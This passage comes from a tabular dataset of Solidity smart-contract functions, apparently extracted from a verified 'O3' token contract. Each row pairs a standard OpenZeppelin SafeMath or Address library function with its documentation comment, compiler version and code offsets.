* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1180,
1377
]
} | 4,218 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1623,
2099
]
} | 4,219 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2562,
2699
]
} | 4,220 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3224,
3574
]
} | 4,221 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4026,
4161
]
} | 4,222 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4675,
4846
]
} | 4,223 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
606,
1230
]
} | 4,224 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
